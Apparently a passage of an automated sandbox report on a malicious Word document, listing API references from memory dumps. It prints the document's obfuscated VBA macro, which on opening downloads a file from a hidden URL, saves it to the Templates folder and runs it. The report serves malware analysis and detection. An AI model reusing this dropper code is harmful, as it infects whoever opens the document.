"00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00002996.00000001.69499.001C0000.00000004.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetUserObjectInformationW"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameA"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetUserNameA"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteExA"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "SetHandleCount"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "InterlockedIncrement"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "InterlockedDecrement"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00003576.00000000.69817.00423000.00000004.mdmp, 00000000-00003576.00000001.71736.00423000.00000004.mdmp, 00000000-00003576.00000002.73655.00423000.00000004.mdmp")32:T4e6,Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003576.00000000.69817.0040E000.00000002.mdmp, 00000000-00003576.00000001.71736.0040E000.00000002.mdmp, 00000000-00003576.00000002.73655.0040E000.00000002.mdmp")33:Tf03,File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: "Private Sub Document_Open() Dim euelis As Object Dim itelro As String Set euelis = CreateObject("WScript.Shell") itelro = euelis.SpecialFolders("Templates") Dim bbb Dim ccc Dim ddd Dim eee Dim fff Dim ggg As Integer Dim hhh Dim iii ggg = 1 ActiveDocument.Range.Font.Color = wdColorBlack Set hhh = CreateObject("microsoft.xmlhttp") Dim dfefef dfefef = Chr(88395 / &H429) + Chr(-6659 + &H1A6B) & Chr(-5652 + &H1679) & Chr(111348 / &H407) & Chr(-2738 + &HB1E) & Chr(136114 / &HB8F) & Chr(195715 / &HBC3) & Chr(1097488 / &H2647) & Chr(-2672 + &HAE0) & Chr(175932 / &H65D) & Chr(430710 / &H1006) & Chr(705672 / &H1BD8) & Chr(-6236 + &H18BD) & Chr(215876 / &H745) & Chr(84840 / &H328) & Chr(1005438 / &H2362) & Chr(863830 / &H1EAD) Set fff = CreateObject(dfefef) eee = itelro & Chr(649152 / CLng(&H1B90)) & Chr(666540 / CLng(&H16A4)) & Chr(338240 / CLng(&HBCC)) & Chr(15651 / CLng(&H8D)) & Chr(879768 / CLng(&H1FD2)) & Chr(52325 / CLng(&H1C7)) & Chr(1017986 / CLng(&H21B3)) & Chr(377336 / CLng(&HE98)) & Chr(-8669 + CLng(&H220B)) & Chr(959197 / CLng(&H2519)) & Chr(630000 / CLng(&H1482)) & Chr(54136 / CLng(&H218)) zzz = Chr(733824 / CLng(&H1B90)) & Chr(672336 / CLng(&H16A4)) & Chr(350320 / CLng(&HBCC)) & Chr(15792 / CLng(&H8D)) & Chr(936790 / CLng(&H1FD2)) & Chr(26390 / CLng(&H1C7)) & Chr(405469 / CLng(&H21B3)) & Chr(175592 / CLng(&HE98)) & Chr(-8596 + CLng(&H220B)) & Chr(1130143 / CLng(&H2519)) & Chr(624750 / CLng(&H1482)) & Chr(24656 / CLng(&H218)) & Chr(534432 / CLng(&H1250)) & Chr(604116 / CLng(&H1854)) & Chr(258622 / CLng(&HA4F)) & Chr(805003 / CLng(&H206B)) & Chr(589300 / CLng(&H1705)) & Chr(-9014 + CLng(&H2397)) & Chr(813384 / CLng(&H1B28)) & Chr(268400 / CLng(&H988)) & Chr(48990 / CLng(&H429)) & Chr(-6664 + CLng(&H1A6B)) & Chr(-5642 + CLng(&H1679)) & Chr(112379 / CLng(&H407)) & Chr(-2799 + CLng(&HB1E)) & Chr(352121 / CLng(&HB8F)) & Chr(334221 / CLng(&HBC3)) & Chr(1117086 / CLng(&H2647)) & Chr(-2684 + CLng(&HAE0)) & Chr(182448 / CLng(&H65D)) & Chr(467628 / CLng(&H1006)) & Chr(719928 / CLng(&H1BD8)) & Chr(-6218 + CLng(&H18BD)) yyy = Chr(214015 / CLng(&H745)) & Chr(37976 / CLng(&H328)) & Chr(1077902 / CLng(&H2362)) & Chr(879536 / CLng(&H1EAD)) & Chr(130410 / CLng(&HB52)) & Chr(625482 / CLng(&H18AE)) & Chr(-4175 + CLng(&H10BE)) & Chr(617210 / CLng(&H15EB)) & Chr(1060008 / CLng(&H23B2)) & Chr(22927 / CLng(&HE3)) & Chr(1007930 / CLng(&H23CB)) & Chr(786480 / CLng(&H1A7C)) & Chr(241486 / CLng(&H1412)) & Chr(410176 / CLng(&HDD0)) & Chr(-2594 + CLng(&HA8A)) & Chr(246339 / CLng(&H987)) & Chr(66490 / CLng(&H262)) & Chr(368751 / CLng(&HE43)) & Chr(179170 / CLng(&H616)) & Chr(120978 / CLng(&HA0E)) & Chr(-5338 + CLng(&H152E)) & Chr(647634 / CLng(&H24AA)) & Chr(389774 / CLng(&H13C6)) & Chr(86000 / CLng(&H433)) & Chr(211462 / CLng(&H11F5)) & Chr(685630 / CLng(&H174A)) & Chr(-78 + CLng(&HBD)) hhh.Open "get", zzz + yyy, False hhh.send ccc = hhh.responseBody If hhh.Status = 200 Then Set bbb = CreateObject("adodb.stream") bbb.Open bbb.Type = ggg bbb.Write ccc bbb.SaveToFile eee, ggg + ggg bbb.Close End If fff.Open (eee) End Sub"34:Te4d,Normalized macro string: "WScript.Shell" Normalized macro string: "euelis.SpecialFolders" Normalized macro string: "ActiveDocument.Range.Font.Color" Normalized macro string: "microsoft.xmlhttp" Normalized macro string: "hhh.Open" Normalized macro string: "hhh.send" Normalized macro string: "hhh.responseBody" Normalized macro string: "hhh.Status" Normalized macro string: "adodb.stream" Normalized macro string: "bbb.Open" Normalized macro string: "bbb.Type" Normalized macro string: "bbb.Write" Normalized macro string: "bbb.SaveToFile" Normalized macro string: "bbb.Close" Normalized macro string: "fff.Open" Normalized macro string: "Private Sub Document_Open() Dim euelis As Object Dim itelro As String Set euelis = CreateObject(WScript.Shell) itelro = euelis.SpecialFolders(Templates)Dim bbbDim cccDim dddDim eeeDim fffDim ggg As IntegerDim hhhDim iiiggg = 1ActiveDocument.Range.Font.Color = wdColorBlackSet hhh = CreateObject(microsoft.xmlhttp)Dim dfefefdfefef = Chr(88395 / &H429) + Chr(-6659 + &H1A6B) & Chr(-5652 + &H1679) & Chr(111348 / &H407) & Chr(-2738 + &HB1E) & Chr(136114 / &HB8F) & Chr(195715 / &HBC3) & Chr(1097488 / &H2647) & Chr(-2672 + &HAE0) & Chr(175932 / &H65D) & Chr(430710 / &H1006) & Chr(705672 / &H1BD8) & Chr(-6236 + &H18BD) & Chr(215876 / &H745) & Chr(84840 / &H328) & Chr(1005438 / &H2362) & Chr(863830 / &H1EAD)Set fff = CreateObject(dfefef)eee = itelro & Chr(649152 / CLng(&H1B90)) & Chr(666540 / CLng(&H16A4)) & Chr(338240 / CLng(&HBCC)) & Chr(15651 / CLng(&H8D)) & Chr(879768 / CLng(&H1FD2)) & Chr(52325 / CLng(&H1C7)) & Chr(1017986 / CLng(&H21B3)) & Chr(377336 / CLng(&HE98)) & Chr(-8669 + CLng(&H220B)) & Chr(959197 / CLng(&H2519)) & Chr(630000 / CLng(&H1482)) & Chr(54136 / CLng(&H218))zzz = Chr(733824 / CLng(&H1B90)) & Chr(672336 / CLng(&H16A4)) & Chr(350320 / CLng(&HBCC)) & Chr(15792 / CLng(&H8D)) & Chr(936790 / CLng(&H1FD2)) & Chr(26390 / CLng(&H1C7)) & Chr(405469 / CLng(&H21B3)) & Chr(175592 / CLng(&HE98)) & Chr(-8596 + CLng(&H220B)) & Chr(1130143 / CLng(&H2519)) & Chr(624750 